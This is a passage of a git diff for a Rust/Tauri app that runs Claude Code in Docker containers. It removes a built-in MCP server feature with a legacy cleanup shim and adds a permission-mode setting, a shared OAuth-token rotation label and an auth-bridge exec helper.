env_vars.push(format!( + "TRIPLE_C_PERMISSION_MODE={}", + project.effective_permission_mode().as_env_value() + )); + // Claude instructions (global + per-project, plus port mapping info + scheduler docs) let combined_instructions = build_claude_instructions( global_claude_instructions, @@ -838,12 +842,6 @@ pub async fn create_container( env_vars.push(format!("CLAUDE_INSTRUCTIONS={}", instructions)); } - // MCP servers config - if !mcp_servers.is_empty() { - let mcp_json = build_mcp_servers_json(mcp_servers); - env_vars.push(format!("MCP_SERVERS_JSON={}", mcp_json)); - } - // Claude Code settings (global + per-project merged) let merged_cc_settings = merge_claude_code_settings( global_claude_code_settings, @@ -964,12 +962,8 @@ pub async fn create_container( } } - // Docker socket (if allowed, or auto-enabled for stdio+Docker MCP servers) - let needs_docker_for_mcp = any_stdio_docker_mcp(mcp_servers); - if project.allow_docker_access || needs_docker_for_mcp { - if needs_docker_for_mcp && !project.allow_docker_access { - log::info!("Auto-enabling Docker socket access for stdio+Docker MCP servers"); - } + // Docker socket (if allowed) + if project.allow_docker_access { // On Windows, the named pipe (//./pipe/docker_engine) cannot be // bind-mounted into a Linux container. Docker Desktop exposes the // daemon socket as /var/run/docker.sock for container mounts. @@ -1014,8 +1008,9 @@ pub async fn create_container( labels.insert("triple-c.ports-fingerprint".to_string(), compute_ports_fingerprint(&project.port_mappings)); labels.insert("triple-c.image".to_string(), image_name.to_string()); labels.insert("triple-c.timezone".to_string(), timezone.unwrap_or("").to_string()); - labels.insert("triple-c.mcp-fingerprint".to_string(), compute_mcp_fingerprint(mcp_servers)); labels.insert("triple-c.mission-control".to_string(), project.mission_control_enabled.to_string()); + labels.insert("triple-c.permission-mode".to_string(), + project.effective_permission_mode().as_env_value().to_string()); labels.insert("triple-c.custom-env-fingerprint".to_string(), custom_env_fingerprint.clone()); labels.insert("triple-c.claude-code-settings-fingerprint".to_string(), compute_claude_code_settings_fingerprint(merged_cc_settings.as_ref(), project.sandbox_mode_enabled)); @@ -1025,13 +1020,15 @@ pub async fn create_container( labels.insert("triple-c.git-user-email".to_string(), effective_git_email.unwrap_or_default().to_string()); labels.insert("triple-c.git-token-hash".to_string(), project.git_token.as_ref().map(|t| sha256_hex(t)).unwrap_or_default()); + // Rotation id, NOT the token and NOT a hash of it — labels are readable by + // anything on the host via `docker inspect`. + labels.insert("triple-c.claude-token-version".to_string(), + shared_claude.as_ref().map(|(_, v)| v.clone()).unwrap_or_default()); let host_config = HostConfig { mounts: Some(mounts), port_bindings: if port_bindings.is_empty() { None } else { Some(port_bindings) }, init: Some(true), - // Connect to project network if specified (for MCP container communication) - network_mode: network_name.map(|n| n.to_string()), ..Default::default() }; @@ -1223,7 +1220,8 @@ chmod 600 "$HOME/.aws/credentials""#; /// NOTE: `docker commit` always bakes the *running container's* full ENV into /// the resulting image — passing an empty Config here does NOT strip it, and /// the commit API gives no way to remove env vars. As a result auth vars (e.g. -/// CLAUDE_CODE_USE_BEDROCK, AWS_*) are present in this snapshot image's ENV. +/// CLAUDE_CODE_USE_BEDROCK, AWS_*, CLAUDE_CODE_OAUTH_TOKEN) are present in this +/// snapshot image's ENV — this image is local and per-project, never pushed. /// `create_container` defends against that by explicitly overriding every /// managed auth key for the active backend (see MANAGED_AUTH_KEYS), so a /// backend switch does not inherit the previous backend's stale credentials. @@ -1307,7 +1305,6 @@ pub async fn container_needs_recreation( global_claude_instructions: Option<&str>, global_custom_env_vars: &[EnvVar], timezone: Option<&str>, - mcp_servers: &[McpServer], global_claude_code_settings: Option<&ClaudeCodeSettings>, default_ssh_key_path: Option<&str>, default_git_user_name: Option<&str>, @@ -1470,6 +1467,20 @@ pub async fn container_needs_recreation( return Ok(true); } + // ── Shared Claude Code OAuth token ─────────────────────────────────── + // Compares rotation ids, so this fires when the token is first acquired, + // re-acquired (rotated), revoked, or opted out of. Both "" means no token + // is in play, which is also what a container predating this feature reports + // — so existing installs are not recreated until a token actually exists. + // Recreation is the only way to change container env, and it is also what + // makes MANAGED_AUTH_KEYS blank a revoked token out of the snapshot image. + let expected_claude_token = claude_token_label(project); + let container_claude_token = get_label("triple-c.claude-token-version").unwrap_or_default(); + if container_claude_token != expected_claude_token { + log::info!("Shared Claude authentication token mismatch — recreating container"); + return Ok(true); + } + // ── Custom environment variables (label-based fingerprint) ────────── let merged_env = merge_custom_env_vars(global_custom_env_vars, &project.custom_env_vars); let expected_fingerprint = compute_env_fingerprint(&merged_env); @@ -1487,6 +1498,22 @@ pub async fn container_needs_recreation( return Ok(true); } + // ── Permission mode ──────────────────────────────────────────────────── + // The mode is injected as the TRIPLE_C_PERMISSION_MODE env var, and + // container env can only change by recreating the container. A missing + // label means the container predates this feature and therefore has no + // such env var, so it must be recreated too (empty != any valid mode). + let expected_permission_mode = project.effective_permission_mode().as_env_value(); + let container_permission_mode = get_label("triple-c.permission-mode").unwrap_or_default(); + if container_permission_mode != expected_permission_mode { + log::info!( + "Permission mode mismatch (container={:?}, expected={:?})", + container_permission_mode, + expected_permission_mode + ); + return Ok(true); + } + // ── Claude instructions (label-based fingerprint) ───────────────────── let expected_instructions = build_claude_instructions( global_claude_instructions, @@ -1514,11 +1541,29 @@ pub async fn container_needs_recreation( return Ok(true); } - // ── MCP servers fingerprint ───────────────────────────────────────── - let expected_mcp_fp = compute_mcp_fingerprint(mcp_servers); - let container_mcp_fp = get_label("triple-c.mcp-fingerprint").unwrap_or_default(); - if container_mcp_fp != expected_mcp_fp { - log::info!("MCP servers fingerprint mismatch (container={:?}, expected={:?})", container_mcp_fp, expected_mcp_fp); + // ── Legacy MCP migration shim ─────────────────────────────────────── + // One-release migration for containers created before the built-in MCP + // feature was removed. Such containers carry a `triple-c.mcp-fingerprint` + // label and/or are attached to the per-project `triple-c-net-` network. + // That user-defined network is deleted during cleanup, and a container + // whose NetworkMode points at a missing network refuses to start — so force + // a recreation to move them onto the default bridge. Containers created by + // the current code never carry the label or the network, so this is a no-op + // for them and can be dropped a release later. + if let Some(fp) = get_label("triple-c.mcp-fingerprint") { + if !fp.is_empty() { + log::info!("Legacy container carries triple-c.mcp-fingerprint label — recreating without MCP"); + return Ok(true); + } + } + let legacy_network = info + .host_config + .as_ref() + .and_then(|hc| hc.network_mode.as_deref()) + .map(|nm| nm.starts_with("triple-c-net-")) + .unwrap_or(false); + if legacy_network { + log::info!("Legacy container attached to a triple-c-net-* network — recreating without MCP"); return Ok(true); } @@ -1590,173 +1635,3 @@ pub async fn list_sibling_containers() -> Result, String> Ok(siblings) } - -// ── MCP Container Lifecycle ───────────────────────────────────────────── - -/// Returns true if any MCP server uses stdio transport with Docker. -pub fn any_stdio_docker_mcp(servers: &[McpServer]) -> bool { - servers.iter().any(|s| s.is_docker() && s.transport_type == McpTransportType::Stdio) -} - -/// Find an existing MCP container by its expected name. -pub async fn find_mcp_container(server: &McpServer) -> Result, String> { - let docker = get_docker()?; - let container_name = server.mcp_container_name(); - - let filters: HashMap> = HashMap::from([ - ("name".to_string(), vec![container_name.clone()]), - ]); - - let containers: Vec = docker - .list_containers(Some(ListContainersOptions { - all: true, - filters, - ..Default::default() - })) - .await - .map_err(|e| format!("Failed to list MCP containers: {}", e))?; - - let expected = format!("/{}", container_name); - for c in &containers { - if let Some(names) = &c.names { - if names.iter().any(|n| n == &expected) { - return Ok(c.id.clone()); - } - } - } - - Ok(None) -} - -/// Create a Docker container for an MCP server. -pub async fn create_mcp_container( - server: &McpServer, - network_name: &str, -) -> Result { - let docker = get_docker()?; - let container_name = server.mcp_container_name(); - - let image = server - .docker_image - .as_ref() - .ok_or_else(|| format!("MCP server '{}' has no docker_image", server.name))?; - - let mut env_vars: Vec = Vec::new(); - for (k, v) in &server.env { - env_vars.push(format!("{}={}", k, v)); - } - - // Build command + args as Cmd - let mut cmd: Vec = Vec::new(); - if let Some(ref command) = server.command { - cmd.push(command.clone()); - } - cmd.extend(server.args.iter().cloned()); - - let mut labels = HashMap::new(); - labels.insert("triple-c.managed".to_string(), "true".to_string()); - labels.insert("triple-c.mcp-server".to_string(), server.id.clone()); - - let host_config = HostConfig { - network_mode: Some(network_name.to_string()), - ..Default::default() - }; - - let config = Config { - image: Some(image.clone()), - env: if env_vars.is_empty() { None } else { Some(env_vars) }, - cmd: if cmd.is_empty() { None } else { Some(cmd) }, - labels: Some(labels), - host_config: Some(host_config), - ..Default::default() - }; - - let options = CreateContainerOptions { - name: container_name.clone(), - ..Default::default() - }; - - let response = docker - .create_container(Some(options), config) - .await - .map_err(|e| format!("Failed to create MCP container '{}': {}", container_name, e))?; - - log::info!( - "Created MCP container {} (image: {}) on network {}", - container_name, - image, - network_name - ); - Ok(response.id) -} - -/// Start all Docker-based MCP server containers. Finds or creates each one. -pub async fn start_mcp_containers( - servers: &[McpServer], - network_name: &str, -) -> Result<(), String> { - for server in servers { - if !server.is_docker() { - continue; - } - - let container_id = if let Some(existing_id) = find_mcp_container(server).await? { - log::debug!("Found existing MCP container for '{}'", server.name); - existing_id - } else { - create_mcp_container(server, network_name).await? - }; - - // Start the container (ignore already-started errors) - if let Err(e) = start_container(&container_id).await { - let err_str = e.to_string(); - if err_str.contains("already started") || err_str.contains("304") { - log::debug!("MCP container '{}' already running", server.name); - } else { - return Err(format!( - "Failed to start MCP container '{}': {}", - server.name, e - )); - } - } - - log::info!("MCP container '{}' started", server.name); - } - - Ok(()) -} - -/// Stop all Docker-based MCP server containers (best-effort). -pub async fn stop_mcp_containers(servers: &[McpServer]) -> Result<(), String> { - for server in servers { - if !server.is_docker() { - continue; - } - if let Ok(Some(container_id)) = find_mcp_container(server).await { - if let Err(e) = stop_container(&container_id).await { - log::warn!("Failed to stop MCP container '{}': {}", server.name, e); - } else { - log::info!("Stopped MCP container '{}'", server.name); - } - } - } - Ok(()) -} - -/// Stop and remove all Docker-based MCP server containers (best-effort). -pub async fn remove_mcp_containers(servers: &[McpServer]) -> Result<(), String> { - for server in servers { - if !server.is_docker() { - continue; - } - if let Ok(Some(container_id)) = find_mcp_container(server).await { - let _ = stop_container(&container_id).await; - if let Err(e) = remove_container(&container_id).await { - log::warn!("Failed to remove MCP container '{}': {}", server.name, e); - } else { - log::info!("Removed MCP container '{}'", server.name); - } - } - } - Ok(()) -} diff --git a/app/src-tauri/src/docker/exec.rs b/app/src-tauri/src/docker/exec.rs index e9cce6e..dfbd66f 100644 --- a/app/src-tauri/src/docker/exec.rs +++ b/app/src-tauri/src/docker/exec.rs @@ -1,13 +1,78 @@ -use bollard::container::UploadToContainerOptions; +use bollard::container::{LogOutput, UploadToContainerOptions}; use bollard::exec::{CreateExecOptions, ResizeExecOptions, StartExecResults}; -use futures_util::StreamExt; +use futures_util::{Stream, StreamExt}; use std::collections::HashMap; +use std::pin::Pin; use std::sync::Arc; -use tokio::io::AsyncWriteExt; +use tokio::io::{AsyncWrite, AsyncWriteExt}; use tokio::sync::{mpsc, Mutex}; use super::client::get_docker; +/// A `docker exec` that has been created and started with stdin/stdout/stderr +/// attached — the raw duplex halves, before any policy about what to do with +/// them. +/// +/// This is the single place in the codebase that knows how to open an attached +/// exec. Both consumers are built on it: +/// * [`ExecSessionManager`] — interactive terminals and the audio bridge, +/// which pump bytes through mpsc channels and a callback. +/// * `auth_bridge` — per-connection `socat` tunnels, which pump bytes +/// straight between a host TCP socket and these halves. +/// +/// With `tty = false` the output stream is demultiplexed by Docker, so the +/// consumer can tell [`LogOutput::StdOut`] from [`LogOutput::StdErr`]. That +/// distinction matters for the auth bridge: `socat`'s diagnostics must not be +/// spliced into the proxied byte stream. +pub struct AttachedExec { + pub exec_id: String, + pub output: Pin> + Send>>, + pub input: Pin>, +} + +/// Create and start an exec with stdin + stdout + stderr attached, returning the +/// raw duplex halves. Runs as `claude` in `/workspace`, like every other exec +/// this app opens. +pub async fn create_attached_exec( + container_id: &str, + cmd: Vec, + tty: bool, +) -> Result { + let docker = get_docker()?; + + let exec = docker + .create_exec( + container_id, + CreateExecOptions { + attach_stdin: Some(true), + attach_stdout: Some(true), + attach_stderr: Some(true), + tty: Some(tty), + cmd: Some(cmd), + user: Some("claude".to_string()), + working_dir: Some("/workspace".to_string()), + ..Default::default() + }, + ) + .await + .map_err(|e| format!("Failed to create exec: {}", e))?; + + let exec_id = exec.id.clone(); + + match docker + .start_exec(&exec_id, None) + .await + .map_err(|e| format!("Failed to start exec: {}", e))? + { + StartExecResults::Attached { output, input } => Ok(AttachedExec { + exec_id, + output, + input, + }), + StartExecResults::Detached => Err("Exec started in detached mode".to_string()), + } +} + pub struct ExecSession { pub exec_id: String, pub container_id: String, @@ -80,82 +145,55 @@ impl ExecSessionManager { where F: Fn(Vec) + Send + 'static, { - let docker = get_docker()?; - - let exec = docker - .create_exec( - container_id, - CreateExecOptions { - attach_stdin: Some(true), - attach_stdout: Some(true), - attach_stderr: Some(true), - tty: Some(tty), - cmd: Some(cmd), - user: Some("claude".to_string()), - working_dir: Some("/workspace".to_string()), - ..Default::default() - }, - ) - .await - .map_err(|e| format!("Failed to create exec: {}", e))?; - - let exec_id = exec.id.clone(); - - let result = docker - .start_exec(&exec_id, None) - .await - .map_err(|e| format!("Failed to start exec: {}", e))?; + let AttachedExec { + exec_id, + mut output, + mut input, + } = create_attached_exec(container_id, cmd, tty).await?; let (input_tx, mut input_rx) = mpsc::unbounded_channel::>(); let (shutdown_tx, mut shutdown_rx) = mpsc::channel::<()>(1); - match result { - StartExecResults::Attached { mut output, mut input } => { - // Output reader task - let session_id_clone = session_id.to_string(); - let shutdown_tx_clone = shutdown_tx.clone(); - tokio::spawn(async move { - loop { - tokio::select! { - msg = output.next() => { - match msg { - Some(Ok(output)) => { - on_output(output.into_bytes().to_vec()); - } - Some(Err(e)) => { - log::error!("Exec output error for {}: {}", session_id_clone, e); - break; - } - None => { - log::info!("Exec output stream ended for {}", session_id_clone); - break; - } - } + // Output reader task + let session_id_clone = session_id.to_string(); + let shutdown_tx_clone = shutdown_tx.clone(); + tokio::spawn(async move { + loop { + tokio::select! { + msg = output.next() => { + match msg { + Some(Ok(output)) => { + on_output(output.into_bytes().to_vec()); } - _ = shutdown_rx.recv() => { - log::info!("Exec session {} shutting down", session_id_clone); + Some(Err(e)) => { + log::error!("Exec output error for {}: {}", session_id_clone, e); + break; + } + None => { + log::info!("Exec output stream ended for {}", session_id_clone); break; } } } - on_exit(); - let _ = shutdown_tx_clone; - }); - - // Input writer task - tokio::spawn(async move { - while let Some(data) = input_rx.recv().await { - if let Err(e) = input.write_all(&data).await { - log::error!("Failed to write to exec stdin: {}", e); - break; - } + _ = shutdown_rx.recv() => { + log::info!("Exec session {} shutting down", session_id_clone); + break; } - }); + } } - StartExecResults::Detached => { - return Err("Exec started in detached mode".to_string()); + on_exit(); + let _ = shutdown_tx_clone; + }); + + // Input writer task + tokio::spawn(async move { + while let Some(data) = input_rx.recv().await { + if let Err(e) = input.write_all(&data).await { + log::error!("Failed to write to exec stdin: {}", e); + break; + } } - } + }); let session = ExecSession { exec_id, diff --git a/app/src-tauri/src/docker/legacy_cleanup.rs b/app/src-tauri/src/docker/legacy_cleanup.rs new file mode 100644 index 0000000..9a464d0 --- /dev/null +++ b/app/src-tauri/src/docker/legacy_cleanup.rs @@ -0,0 +1,137 @@ +//! One-release migration shim for the removed built-in MCP feature. +//! +//! Older releases created a per-project user-defined bridge network +//! (`triple-c-net-`) plus one container per Docker-backed MCP +//! server, and attached the project container to that network. Now that MCP +//! support is gone, those leftovers have to be torn down — a container whose +//! `NetworkMode` names a network that no longer exists refuses to start, so +//! the cleanup is paired with a forced container recreation (see +//! `container_needs_recreation`). +//! +//! Everything here is best-effort: failures are logged and never abort the +//! caller, and absent resources are a silent no-op. This module can be deleted +//! a release after all users have migrated. + +use bollard::container::{ListContainersOptions, RemoveContainerOptions}; +use bollard::network::InspectNetworkOptions; +use std::collections::HashMap; + +use super::client::get_docker; + +/// Network name used by the old MCP implementation for a project. +fn legacy_network_name(project_id: &str) -> String { + format!("triple-c-net-{}", project_id) +} + +/// Force-remove every leftover MCP server container. +/// +/// Matched by the `triple-c.mcp-server` label rather than by name, so +/// containers survive even if the MCP server definitions they came from are +/// already gone from storage. Best-effort: errors are logged and skipped. +pub async fn remove_legacy_mcp_containers(project_id: &str) { + let docker = match get_docker() { + Ok(d) => d, + Err(e) => { + log::debug!( + "Skipping legacy MCP container cleanup for project {}: {}", + project_id, + e + ); + return; + } + }; + + let filters: HashMap> = HashMap::from([( + "label".to_string(), + vec!["triple-c.mcp-server".to_string()], + )]); + + let containers = match docker + .list_containers(Some(ListContainersOptions { + all: true, + filters, + ..Default::default() + })) + .await + { + Ok(c) => c, + Err(e) => { + log::warn!("Failed to list legacy MCP containers: {}", e); + return; + } + }; + + for container in containers { + let Some(id) = container.id else { continue }; + match docker + .remove_container( + &id, + Some(RemoveContainerOptions { + force: true, + ..Default::default() + }), + ) + .await + { + Ok(_) => log::info!("Removed legacy MCP container {}", id), + Err(e) => log::warn!("Failed to remove legacy MCP container {}: {}", id, e), + } + } +} + +/// Remove the old per-project Docker network, disconnecting any remaining +/// members first (a network with attached endpoints cannot be deleted). +/// +/// Silent no-op when the network does not exist. Best-effort: errors are +/// logged and never propagated. +pub async fn remove_legacy_project_network(project_id: &str) { + let docker = match get_docker() { + Ok(d) => d, + Err(e) => { + log::debug!( + "Skipping legacy network cleanup for project {}: {}", + project_id, + e + ); + return; + } + }; + let network_name = legacy_network_name(project_id); + + // Inspect to discover connected containers; absence means nothing to do. + let info = match docker + .inspect_network(&network_name, None::>) + .await + { + Ok(info) => info, + Err(_) => { + log::debug!("Legacy network {} not present, nothing to do", network_name); + return; + } + }; + + if let Some(containers) = info.containers { + for container_id in containers.into_keys() { + let disconnect_opts = bollard::network::DisconnectNetworkOptions { + container: container_id.clone(), + force: true, + }; + if let Err(e) = docker + .disconnect_network(&network_name, disconnect_opts) + .await + { + log::warn!( + "Failed to disconnect container {} from legacy network {}: {}", + container_id, + network_name, + e + ); + } + } + } + + match docker.remove_network(&network_name).await { + Ok(_) => log::info!("Removed legacy Docker network {}", network_name), + Err(e) => log::warn!("Failed to remove legacy network {}: {}", network_name, e), + } +} diff --git a/app/src-tauri/src/docker/mod.rs b/app/src-tauri/src/docker/mod.rs index bf3e610..f20aaf6 100644 --- a/app/src-tauri/src/docker/mod.rs +++ b/app/src-tauri/src/docker/mod.rs @@ -2,7 +2,7 @@ pub mod client; pub mod container; pub mod image; pub mod exec; -pub mod network; +pub mod legacy_cleanup; pub mod stt; #[allow(unused_imports)] @@ -16,4 +16,4 @@ pub use image::*; #[allow(unused_imports)] pub use exec::*; #[allow(unused_imports)] -pub use network::*; +pub use legacy_cleanup::*; diff --git a/app/src-tauri/src/docker/network.rs b/app/src-tauri/src/docker/network.rs deleted file mode 100644 index 90789fa..0000000 --- a/app/src-tauri/src/docker/network.rs +++ /dev/null @@ -1,129 +0,0 @@ -use bollard::network::{CreateNetworkOptions, InspectNetworkOptions}; -use std::collections::HashMap; - -use super::client::get_docker; - -/// Network name for a project's MCP containers. -fn project_network_name(project_id: &str) -> String { - format!("triple-c-net-{}", project_id) -} - -/// Ensure a Docker bridge network exists for the project. -/// Returns the network name. -pub async fn ensure_project_network(project_id: &str) -> Result { - let docker = get_docker()?; - let network_name = project_network_name(project_id); - - // Check if network already exists - match docker - .inspect_network(&network_name, None::>) - .await - { - Ok(_) => { - log::debug!("Network {} already exists", network_name); - return Ok(network_name); - } - Err(_) => { - // Network doesn't exist, create it - } - } - - let options = CreateNetworkOptions { - name: network_name.clone(), - driver: "bridge".to_string(), - labels: HashMap::from([ - ("triple-c.managed".to_string(), "true".to_string()), - ("triple-c.project-id".to_string(), project_id.to_string()), - ]), - ..Default::default() - }; - - docker - .create_network(options) - .await - .map_err(|e| format!("Failed to create network {}: {}", network_name, e))?; - - log::info!("Created Docker network {}", network_name); - Ok(network_name) -} - -/// Connect a container to the project network. -#[allow(dead_code)] -pub async fn connect_container_to_network( - container_id: &str, - network_name: &str, -) -> Result<(), String> { - let docker = get_docker()?; - - let config = bollard::network::ConnectNetworkOptions { - container: container_id.to_string(), - ..Default::default() - }; - - docker - .connect_network(network_name, config) - .await - .map_err(|e| { - format!( - "Failed to connect container {} to network {}: {}", - container_id, network_name, e - ) - })?; - - log::debug!( - "Connected container {} to network {}", - container_id, - network_name - ); - Ok(()) -} - -/// Remove the project network (best-effort). Disconnects all containers first. -pub async fn remove_project_network(project_id: &str) -> Result<(), String> { - let docker = get_docker()?; - let network_name = project_network_name(project_id); - - // Inspect to get connected containers - let info = match docker - .inspect_network(&network_name, None::>) - .await - { - Ok(info) => info, - Err(_) => { - log::debug!( - "Network {} not found, nothing to remove", - network_name - ); - return Ok(()); - } - }; - - // Disconnect all containers - if let Some(containers) = info.containers { - for (container_id, _) in containers { - let disconnect_opts = bollard::network::DisconnectNetworkOptions { - container: container_id.clone(), - force: true, - }; - if let Err(e) = docker - .disconnect_network(&network_name, disconnect_opts) - .await - { - log::warn!( - "Failed to disconnect container {} from network {}: {}", - container_id, - network_name, - e - ); - } - } - } - - // Remove the network - match docker.remove_network(&network_name).await { - Ok(_) => log::info!("Removed Docker network {}", network_name), - Err(e) => log::warn!("Failed to remove network {}: {}", network_name, e), - } - - Ok(()) -} diff --git a/app/src-tauri/src/lib.rs b/app/src-tauri/src/lib.rs index 527e9b5..287264a 100644 --- a/app/src-tauri/src/lib.rs +++ b/app/src-tauri/src/lib.rs @@ -1,3 +1,4 @@ +mod auth_bridge; mod commands; mod docker; mod install_helper; @@ -8,18 +9,18 @@ pub mod web_terminal; use std::sync::Arc; +use auth_bridge::AuthBridgeManager; use docker::exec::ExecSessionManager; use storage::projects_store::ProjectsStore; use storage::settings_store::SettingsStore; -use storage::mcp_store::McpStore; use tauri::Manager; use web_terminal::WebTerminalServer; pub struct AppState { pub projects_store: Arc, pub settings_store: Arc, - pub mcp_store: Arc, pub exec_manager: Arc, + pub auth_bridge: Arc, pub web_terminal_server: Arc>>, } @@ -40,14 +41,8 @@ pub fn run() { panic!("Failed to initialize settings store: {}", e); } }); - let mcp_store = Arc::new(match McpStore::new() { - Ok(s) => s, - Err(e) => { - log::error!("Failed to initialize MCP store: {}", e); - panic!("Failed to initialize MCP store: {}", e); - } - }); let exec_manager = Arc::new(ExecSessionManager::new()); + let auth_bridge = Arc::new(AuthBridgeManager::new()); // Clone Arcs for the setup closure (web terminal auto-start) let projects_store_setup = projects_store.clone(); @@ -61,8 +56,8 @@ pub fn run() { .manage(AppState { projects_store, settings_store, - mcp_store, exec_manager, + auth_bridge, web_terminal_server: Arc::new(tokio::sync::Mutex::new(None)), }) .setup(move |app| { @@ -146,6 +141,8 @@ pub fn run() { let _ = docker::stt::stop_stt_container().await; // Close all exec sessions state.exec_manager.close_all_sessions().await; + // Release every host loopback port held by the auth bridge + state.auth_bridge.stop_all().await; }); } }) @@ -165,6 +162,15 @@ pub fn run() { commands::project_commands::stop_project_container, commands::project_commands::rebuild_project_container, commands::project_commands::reconcile_project_statuses, + // Auth bridge + commands::auth_bridge_commands::set_auth_bridge_enabled, + commands::auth_bridge_commands::get_auth_bridge_status, + // Shared Claude Code auth token + commands::auth_token_commands::acquire_claude_token, + commands::auth_token_commands::submit_claude_token_code, + commands::auth_token_commands::cancel_claude_token, + commands::auth_token_commands::has_claude_token, + commands::auth_token_commands::clear_claude_token, // Settings commands::settings_commands::get_settings, commands::settings_commands::update_settings, @@ -187,11 +193,6 @@ pub fn run() { commands::file_commands::download_container_file, commands::file_commands::download_container_backup, commands::file_commands::upload_file_to_container, - // MCP - commands::mcp_commands::list_mcp_servers, - commands::mcp_commands::add_mcp_server, - commands::mcp_commands::update_mcp_server, - commands::mcp_commands::remove_mcp_server, // AWS commands::aws_commands::aws_sso_refresh, // Updates @@ -215,6 +216,19 @@ pub fn run() { commands::stt_commands::build_stt_image, commands::stt_commands::pull_stt_image, commands::stt_commands::transcribe_audio, + // Container introspection (sessions / capabilities / scheduler) + commands::inspect_commands::list_claude_sessions, + commands::inspect_commands::resume_session_command, + commands::inspect_commands::list_container_capabilities, + commands::inspect_commands::list_scheduled_tasks, + commands::inspect_commands::add_scheduled_task, + commands::inspect_commands::update_scheduled_task, + commands::inspect_commands::get_scheduled_task_log, + commands::inspect_commands::set_scheduled_task_enabled, + commands::inspect_commands::run_scheduled_task_now, + commands::inspect_commands::remove_scheduled_task, + commands::inspect_commands::get_scheduler_notifications, + commands::inspect_commands::clear_scheduler_notifications, ]) .run(tauri::generate_context!()) .expect("error while running tauri application"); diff --git a/app/src-tauri/src/models/mcp_server.rs b/app/src-tauri/src/models/mcp_server.rs deleted file mode 100644 index 1fad1d8..0000000 --- a/app/src-tauri/src/models/mcp_server.rs +++ /dev/null @@ -1,70 +0,0 @@ -use serde::{Deserialize, Serialize}; -use std::collections::HashMap; - -#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] -#[serde(rename_all = "snake_case")] -pub enum McpTransportType { - Stdio, - #[serde(alias = "sse")] - Http, -} - -impl Default for McpTransportType { - fn default() -> Self { - Self::Stdio - } -} - -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct McpServer { - pub id: String, - pub name: String, - #[serde(default)] - pub transport_type: McpTransportType, - pub command: Option, - #[serde(default)] - pub args: Vec, - #[serde(default)] - pub env: HashMap, - pub url: Option, - #[serde(default)] - pub headers: HashMap, - #[serde(default)] - pub docker_image: Option, - #[serde(default)] - pub container_port: Option, - pub created_at: String, - pub updated_at: String, -} - -impl McpServer { - pub fn new(name: String) -> Self { - let now = chrono::Utc::now().to_rfc3339(); - Self { - id: uuid::Uuid::new_v4().to_string(), - name, - transport_type: McpTransportType::default(), - command: None, - args: Vec::new(), - env: HashMap::new(), - url: None, - headers: HashMap::new(), - docker_image: None, - container_port: None, - created_at: now.clone(), - updated_at: now, - } - } - - pub fn is_docker(&self) -> bool { - self.docker_image.is_some() - } - - pub fn mcp_container_name(&self) -> String { - format!("triple-c-mcp-{}", self.id) - } - - pub fn effective_container_port(&self) -> u16 { - self.container_port.unwrap_or(3000) - } -} diff --git a/app/src-tauri/src/models/mod.rs b/app/src-tauri/src/models/mod.rs index 66cae6f..5abbf24 100644 --- a/app/src-tauri/src/models/mod.rs +++ b/app/src-tauri/src/models/mod.rs @@ -2,10 +2,8 @@ pub mod project; pub mod container_config; pub mod app_settings; pub mod update_info; -pub mod mcp_server; pub use project::*; pub use container_config::*; pub use app_settings::*; pub use update_info::*; -pub use mcp_server::*; diff --git a/app/src-tauri/src/models/project.rs b/app/src-tauri/src/models/project.rs index fc0937f..bf2b0c0 100644 --- a/app/src-tauri/src/models/project.rs +++ b/app/src-tauri/src/models/project.rs @@ -30,6 +30,58 @@ fn default_full_permissions() -> bool { true } +/// `use_shared_auth_token` defaults to **on**: once the user has run +/// `claude setup-token` once, every existing Anthropic-backend project should +/// pick the token up without being edited one by one. Projects deliberately +/// pinned to their own `claude login` identity opt out. +fn default_use_shared_auth_token() -> bool { + true +} + +/// How much autonomy Claude Code is granted inside the container. +/// +/// Maps onto Claude Code CLI flags — see [`PermissionMode::cli_args`], which is +/// the single definition of that mapping and must be used by every call site. +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Default)] +#[serde(rename_all = "camelCase")] +pub enum PermissionMode { + /// Read-only planning mode. + Plan, + /// Claude Code's own default behavior (prompts for permission). + #[default] + Default, + /// Auto-accept file edits, prompt for everything else. + AcceptEdits, + /// Skip all permission prompts. + Bypass, +} + +impl PermissionMode { + /// The CLI flags this mode adds to a `claude` invocation. + /// Defined once here so every call site stays in sync. + pub fn cli_args(&self) -> Vec { + match self { + PermissionMode::Plan => vec!["--permission-mode".to_string(), "plan".to_string()], + PermissionMode::Default => Vec::new(), + PermissionMode::AcceptEdits => { + vec!["--permission-mode".to_string(), "acceptEdits".to_string()] + } + PermissionMode::Bypass => vec!["--dangerously-skip-permissions".to_string()], + } + } + + /// The wire value used for the `TRIPLE_C_PERMISSION_MODE` container env var. + /// Matches the serde `camelCase` representation. + pub fn as_env_value(&self) -> &'static str { + match self { + PermissionMode::Plan => "plan", + PermissionMode::Default => "default", + PermissionMode::AcceptEdits => "acceptEdits", + PermissionMode::Bypass => "bypass", + } + } +} + /// Settings for Claude Code CLI behavior inside the container. /// These map to Claude Code env vars and ~/.claude/settings.json entries. #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Default)] @@ -78,8 +130,33 @@ pub struct Project { pub sandbox_mode_enabled: bool, #[serde(default)] pub mission_control_enabled: bool, + /// Opt in to the auth bridge: while the container runs, its loopback + /// listeners are mirrored onto the host's loopback so browser OAuth + /// callbacks (`claude login`, `fly login`, `aws sso login`) can reach them. + /// Purely host-side — it deliberately has no container-recreation label, + /// because toggling it changes nothing about the container itself. + #[serde(default)] + pub auth_bridge_enabled: bool, + /// Use the shared, long-lived Claude Code OAuth token (from + /// `claude setup-token`, held in the OS keychain) for this project instead + /// of requiring its own `claude login`. Only consulted when `backend` is + /// [`Backend::Anthropic`] and a token has actually been stored. + /// + /// Defaults to **true** so a single `setup-token` run covers every project; + /// turn it off to pin a project to the identity it logged in with inside + /// its own container. + #[serde(default = "default_use_shared_auth_token")] + pub use_shared_auth_token: bool, + /// Legacy binary permission flag. Superseded by `permission_mode`, but kept + /// because it is the value already stored in users' `projects.json`; it is + /// the fallback in `effective_permission_mode()` so old projects keep + /// behaving identically without a data migration. #[serde(default = "default_full_permissions")] pub full_permissions: bool, + /// Per-project permission mode. `None` means "not set yet" → fall back to + /// the legacy `full_permissions` flag. + #[serde(default)] + pub permission_mode: Option, pub ssh_key_path: Option, #[serde(skip_serializing, default)] pub git_token: Option, @@ -92,8 +169,6 @@ pub struct Project { #[serde(default)] pub claude_instructions: Option, #[serde(default)] - pub enabled_mcp_servers: Vec, - #[serde(default)] pub 